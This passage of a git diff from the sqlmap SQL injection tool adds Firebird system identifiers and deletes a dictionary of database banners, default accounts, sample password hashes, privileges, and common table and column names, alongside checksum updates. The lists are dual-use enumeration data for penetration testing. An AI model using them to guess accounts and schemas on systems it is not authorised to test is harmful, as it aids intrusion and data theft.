+RDB$TRIGGER_INACTIVE +RDB$TRIGGER_MESSAGES +RDB$TRIGGER_NAME +RDB$TRIGGERS +RDB$TRIGGER_SEQUENCE +RDB$TRIGGER_SOURCE +RDB$TRIGGER_TYPE +RDB$TYPE +RDB$TYPE_NAME +RDB$TYPES +RDB$UNIQUE_FLAG +RDB$UPDATE_FLAG +RDB$UPDATE_RULE +RDB$UPPER_BOUND +RDB$USER +RDB$USER_PRIVILEGES +RDB$USER_TYPE +RDB$VALIDATION_BLR +RDB$VALIDATION_SOURCE +RDB$VALID_BLR +RDB$VALID_BODY_FLAG +RDB$VIEW_BLR +RDB$VIEW_CONTEXT +RDB$VIEW_NAME +RDB$VIEW_RELATIONS +RDB$VIEW_SOURCE +SEC$ACTIVE +SEC$ADMIN +SEC$DB_CREATORS +SEC$DESCRIPTION +SEC$FIRST_NAME +SEC$GLOBAL_AUTH_MAPPING +SEC$KEY +SEC$LAST_NAME +SEC$MAP_DB +SEC$MAP_FROM +SEC$MAP_FROM_TYPE +SEC$MAP_NAME +SEC$MAP_PLUGIN +SEC$MAP_TO +SEC$MAP_TO_TYPE +SEC$MAP_USING +SEC$MIDDLE_NAME +SEC$PLUGIN +SEC$USER +SEC$USER_ATTRIBUTES +SEC$USER_NAME +SEC$USERS +SEC$USER_TYPE +SEC$VALUE +SURNAME +USERS + diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt deleted file mode 100644 index 5df11be3dcb..00000000000 --- a/data/txt/common-outputs.txt +++ /dev/null @@ -1,1476 +0,0 @@ -# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -# See the file 'LICENSE' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -5.7. -6.0. -8.0. -8.1. -8.2. -8.3. -8.4. -9.0. -9.1. -9.2. -9.3. - -# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...') -10.0. -10.1. -10.2. -10.3. -10.4. -10.5. -10.6. -10.7. -10.8. -10.9. -10.10. -10.11. -11.0. -11.1. -11.2. -11.3. -11.4. -11.5. -11.6. -11.7. -11.8. -12.0. -12.1. -12.2. -12.3. -13.0. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 -PostgreSQL 9.4 -PostgreSQL 9.5 -PostgreSQL 9.6 -PostgreSQL 10. -PostgreSQL 11. -PostgreSQL 12. -PostgreSQL 13. -PostgreSQL 14. -PostgreSQL 15. -PostgreSQL 16. -PostgreSQL 17. -PostgreSQL 18. - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. -Oracle Database 12c -Oracle Database 18c -Oracle Database 19c -Oracle Database 21c -Oracle Database 23ai -Oracle Database 26ai - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 -Microsoft SQL Server 2012 -Microsoft SQL Server 2014 -Microsoft SQL Server 2016 -Microsoft SQL Server 2017 -Microsoft SQL Server 2019 -Microsoft SQL Server 2022 -Microsoft SQL Server 2025 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' -'mysql.sys'@'localhost' -'mysql.session'@'localhost' -'mysql.infoschema'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -performance_schema -mysql -sys -test -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - -# Cloud Defaults -rdsadmin -innodb -azure_maintenance - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# Wordpress -wp_users -wp_posts -wp_comments -wp_options -wp_postmeta -wp_terms -wp_term_taxonomy -wp_term_relationships -wp_links -wp_commentmeta - -# WooCommerce -wp_woocommerce_sessions -wp_woocommerce_api_keys -wp_woocommerce_attribute_taxonomies - -# Magento -catalog_product_entity -sales_order -sales_order_item -customer_entity -quote - -# Drupal -node -users -field_data_body -field_revision_body -taxonomy_term_data -taxonomy_vocabulary - -# Joomla -joomla_users -joomla_content -joomla_categories -joomla_modules - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_cron_job -pg_cron_job_run_detail -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_stat_statements -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups -systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee -vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - -# Common tables - -accounts -admin -audit -backup -config -configuration -customers -data -files -history -images -log -logs -members -messages -orders -products -settings -test -tokens -uploads - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric -nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp - -# Common columns -active -address -admin -blocked -category_id -city -confirmed -country -created_at -created_on -customer_id -deleted -deleted_at -dob -email -enabled -first_name -flag -gender -hidden -is_active -is_deleted -is_published -last_name -locked -login -modified_on -name -order_id -password -phone -private -product_id -public -role -salt -state -status -timestamp -token -type -updated_at -user_id -username -visible -zip -zip_code - -# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- -[Databases] -wordpress -wp -drupal -joomla -magento -prestashop -opencart -moodle -mediawiki -phpbb -typo3 -laravel -symfony -django -app -application -webapp -web -website -main -backend -api -cms -shop -store -ecommerce -blog -forum -wiki -crm -erp -billing -sales -accounts -inventory -catalog -orders -payments -customers -members -users -data -db -mydb -appdb -prod -production -dev -staging -qa -demo -sample -employees -sakila -world -classicmodels -dvwa -bwapp -mutillidae -dashboard -defaultdb - -[Users] -admin -administrator -root -sa -postgres -oracle -system -dbadmin -dba -dbo -webadmin -web -www -www-data -apache -nginx -app -appuser -application -service -svc -user -dbuser -guest -test -demo -backup -replication -monitor -readonly -superuser -wordpress -drupal -joomla -magento -laravel -django -symfony -'admin'@'localhost' -'admin'@'%' -'app'@'localhost' -'app'@'%' -'web'@'%' -'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d3fe8eaddcb..6ed89afa748 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -23,9 +23,9 @@ a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/sta c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ 8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ +aa4d6396df0abde7560ced7d8f7625dd70d57401db86d205f80064609c4b2772 data/txt/catalog-identifiers.txt eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py +2b0e014869b071a2b6aa4e0c9a23427abdc61a92f09adbcce123fd0fc7ec3aa6 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py -0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py +0ba8838a8a8774a8a6baaf75d8122c3fa0cb9a6e4f468a4a94f32eb894feb754 lib/core/optiondict.py +7229352618491ee1d23bbbfd6e7f160b489ce4b1a8d99c1e873d9664382c3f8c lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py +b2ce6d9948284621cbfa73d81c97416a98e6cbf6f87e2c9dd0b493030ff85340 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py -96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 